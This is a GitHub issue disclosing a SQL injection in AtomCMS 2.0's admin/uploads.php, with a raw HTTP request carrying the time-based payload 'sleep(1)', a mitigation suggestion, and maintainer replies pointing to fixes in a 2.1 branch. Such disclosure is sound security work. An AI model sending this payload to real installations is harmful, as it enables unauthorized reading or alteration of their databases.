Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SQL Injection vulnerability on Atom.CMS_admin_uploads.php #259

Closed
Limerence98 opened this issue Mar 21, 2022 · 2 comments
Closed

SQL Injection vulnerability on Atom.CMS_admin_uploads.php #259

Limerence98 opened this issue Mar 21, 2022 · 2 comments

Comments

@Limerence98
Copy link

Exploit Title: SQL Injection vulnerability on Atom.CMS_admin_uploads.php
Date: 21-March-2022
Exploit Author: @Limerence
Software Link: https://github.com/thedigicraft/Atom.CMS
Version: AtomCMS 2.0

Description:
SQL Injection allows an attacker to run malicious SQL statements on a database and thus being able to read or modify the data in the database. With enough privileges assigned to the database user, it can allow the attacker to delete tables or drop databases.

Code Analysis:

GET /admin/uploads.php?id=sleep(1) HTTP/1.1
Host: test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://test.test/admin/index.php?page=settings
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

image

payload: sleep(1)

admin/uploads.php
image

Impact: Read and modify the users database
Mitigation: Use of Parameterized SQL Queries and Validation

@creptor
Copy link
Contributor

creptor commented Apr 13, 2022

Same type of vulnerability addressed on #257 and #255

@v-dumitrescu
Copy link
Collaborator

The branch "AtomCMS-2.1" contains security fixes.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants